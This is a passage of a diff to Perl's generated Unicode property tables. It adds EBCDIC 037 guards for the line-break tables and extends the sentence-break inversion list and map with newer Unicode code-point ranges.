+#endif	/* defined(PERL_IN_UTF8_C) */
+
 #if defined(PERL_IN_REGEXEC_C)
 
-#define LB_ENUM_COUNT 39
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
 typedef enum {
 	LB_Alphabetic = 0,
@@ -10129,63 +48863,82 @@
 	LB_EDGE = 38
 } LB_enum;
 
-static const LB_enum _Perl_LB_invmap[] = { /* for ASCII/Latin1 */
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const LB_enum _Perl_LB_invmap[] = { /* for EBCDIC 037 */
 	LB_Combining_Mark,
 	LB_Break_After,
-	LB_Line_Feed,
+	LB_Combining_Mark,
 	LB_Mandatory_Break,
 	LB_Carriage_Return,
 	LB_Combining_Mark,
+	LB_Next_Line,
+	LB_Combining_Mark,
+	LB_Line_Feed,
+	LB_Combining_Mark,
 	LB_Space,
-	LB_Exclamation,
-	LB_Quotation,
+	LB_Glue,
 	LB_Alphabetic,
-	LB_Prefix_Numeric,
 	LB_Postfix_Numeric,
+	LB_Infix_Numeric,
 	LB_Alphabetic,
-	LB_Quotation,
 	LB_Open_Punctuation,
-	LB_Close_Parenthesis,
+	LB_Prefix_Numeric,
+	LB_Break_After,
 	LB_Alphabetic,
+	LB_Exclamation,
 	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Close_Parenthesis,
 	LB_Infix_Numeric,
+	LB_Alphabetic,
 	LB_Hyphen,
-	LB_Infix_Numeric,
 	LB_Break_Symbols,
-	LB_Numeric,
+	LB_Alphabetic,
 	LB_Infix_Numeric,
+	LB_Postfix_Numeric,
 	LB_Alphabetic,
 	LB_Exclamation,
 	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
 	LB_Open_Punctuation,
+	LB_Alphabetic,
 	LB_Prefix_Numeric,
-	LB_Close_Parenthesis,
 	LB_Alphabetic,
 	LB_Open_Punctuation,
-	LB_Break_After,
-	LB_Close_Punctuation,
+	LB_Close_Parenthesis,
 	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Next_Line,
-	LB_Combining_Mark,
-	LB_Glue,
+	LB_Break_Before,
+	LB_Alphabetic,
 	LB_Open_Punctuation,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
 	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
 	LB_Break_After,
 	LB_Alphabetic,
-	LB_Postfix_Numeric,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
 	LB_Prefix_Numeric,
 	LB_Alphabetic,
-	LB_Break_Before,
+	LB_Numeric,
 	LB_Alphabetic,
-	LB_Quotation,
+	LB_Combining_Mark,
 	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
 	LB_Break_Before,
 	LB_Alphabetic,
 	LB_Break_Before,
@@ -10355,6 +49108,8 @@
 	LB_Alphabetic,
 	LB_Combining_Mark,
 	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
 	LB_Numeric,
 	LB_Alphabetic,
 	LB_Combining_Mark,
@@ -10413,6 +49168,8 @@
 	LB_Alphabetic,
 	LB_Combining_Mark,
 	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
 	LB_Numeric,
 	LB_Alphabetic,
 	LB_Postfix_Numeric,
@@ -12174,8 +50931,28 @@
 	LB_Alphabetic,
 	LB_Combining_Mark,
 	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_Before,
+	LB_Alphabetic,
 	LB_Break_After,
+	LB_Break_Before,
 	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
 	LB_Numeric,
 	LB_Alphabetic,
 	LB_Break_Before,
@@ -12185,6 +50962,18 @@
 	LB_Alphabetic,
 	LB_Combining_Mark,
 	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
 	LB_Break_After,
 	LB_Alphabetic,
 	LB_Open_Punctuation,
@@ -12229,6 +51018,8 @@
 	LB_Alphabetic,
 	LB_Ideographic,
 	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
 	LB_Combining_Mark,
 	LB_Break_After,
 	LB_Combining_Mark,
@@ -12300,6 +51091,8 @@
 	LB_Ideographic,
 	LB_E_Base,
 	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
 	LB_E_Modifier,
 	LB_Ideographic,
 	LB_E_Base,
@@ -12362,6 +51155,8 @@
 	LB_Ideographic,
 	LB_E_Base,
 	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
 	LB_Alphabetic,
 	LB_Ideographic,
 	LB_Alphabetic,
@@ -12376,6 +51171,8 @@
 	LB_Ideographic,
 	LB_Alphabetic,
 	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
 	LB_E_Base,
 	LB_Ideographic,
 	LB_E_Base,
@@ -12386,6 +51183,8 @@
 	LB_Ideographic,
 	LB_E_Base,
 	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
 	LB_Alphabetic,
 	LB_Ideographic,
 	LB_Alphabetic,
@@ -12399,12 +51198,16 @@
 	LB_Alphabetic
 };
 
+#   endif	/* EBCDIC 037 */
+
 #endif	/* defined(PERL_IN_REGEXEC_C) */
 
-#if defined(PERL_IN_PERL_C)
+#if defined(PERL_IN_UTF8_C)
 
+#   if 'A' == 65 /* ASCII/Latin1 */
+
 static const UV _Perl_SB_invlist[] = { /* for ASCII/Latin1 */
-	2957,	/* Number of elements */
+	3002,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -13109,6 +51912,8 @@
 	0x840,
 	0x859,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -13161,6 +51966,8 @@
 	0x9E6,
 	0x9F0,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -13227,6 +52034,7 @@
 	0xAF0,
 	0xAF9,
 	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -13351,7 +52159,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -13692,11 +52500,10 @@
 	0x1CF2,
 	0x1CF5,
 	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
 	0x1DC0,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1E00,
 	0x1E01,
@@ -14306,7 +53113,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -14316,7 +53123,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -14794,7 +53601,7 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x10376,
@@ -15055,6 +53862,26 @@
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A42,
+	0x11A44,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A9A,
+	0x11A9B,
+	0x11A9D,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -15074,6 +53901,23 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -15119,13 +53963,15 @@
 	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -15357,6 +54203,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0001,
@@ -15367,11 +54215,13 @@
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* ASCII/Latin1 */
 
+#endif	/* defined(PERL_IN_UTF8_C) */
+
 #if defined(PERL_IN_REGEXEC_C)
 
-#define SB_ENUM_COUNT 16
+#   if 'A' == 65 /* ASCII/Latin1 */
 
 typedef enum {
 	SB_Other = 0,
@@ -15392,6 +54242,10 @@
 	SB_EDGE = 15
 } SB_enum;
 
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
 static const SB_enum _Perl_SB_invmap[] = { /* for ASCII/Latin1 */
 	SB_Other,
 	SB_Sp,
@@ -16098,6 +54952,8 @@
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
 	SB_Format,
 	SB_Extend,
@@ -16146,6 +55002,8 @@
 	SB_Numeric,
 	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
 	SB_Other,
 	SB_OLetter,
@@ -16211,6 +55069,7 @@
 	SB_Numeric,
 	SB_Other,
 	SB_OLetter,
+	SB_Extend,
 	SB_Other,
 	SB_Extend,
 	SB_Other,
@@ -16343,27 +55202,87 @@
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
 	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
 	SB_Other,
+	SB_OLetter,
 	SB_Extend,
 	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
+	SB_Other,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
 	SB_OLetter,
 	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
 	SB_Numeric,
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_Extend,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
@@ -16370,6 +55289,10 @@
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
@@ -16376,34 +55299,173 @@
 	SB_Other,
 	SB_Extend,
 	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_Extend,
 	SB_Other,
 	SB_Extend,
 	SB_Other,
 	SB_Extend,
+	SB_Close,
+	SB_Extend,
+	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
 	SB_Numeric,
+	SB_STerm,
 	SB_Other,
+	SB_OLetter,
 	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Numeric,
+	SB_Extend,
 	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
 	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
 	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Sp,
+	SB_OLetter,
+	SB_Close,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
 	SB_Other,
 	SB_OLetter,
 	SB_Extend,
+	SB_STerm,
 	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
 	SB_Numeric,
 	SB_Other,
+	SB_SContinue,
+	SB_STerm,
+	SB_Other,
+	SB_SContinue,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Format,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Numeric,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
@@ -16412,88 +55474,1689 @@
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_OLetter,
+	SB_Extend,
 	SB_Other,
 	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Numeric,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_OLetter,
+	SB_STerm,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
 	SB_OLetter,
 	SB_Extend,
 	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
 	SB_Extend,
 	SB_Other,
 	SB_Extend,
 	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Extend,
 	SB_Other,
 	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_STerm,
+	SB_Lower,
 	SB_Other,
 	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Lower,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Sp,
+	SB_Format,
+	SB_Extend,
+	SB_Format,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_ATerm,
+	SB_Other,
+	SB_Sep,
+	SB_Format,
+	SB_Sp,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Close,
+	SB_STerm,
+	SB_Other,
+	SB_Sp,
+	SB_Format,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Close,
+	SB_Lower,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Extend,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Sp,
+	SB_SContinue,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
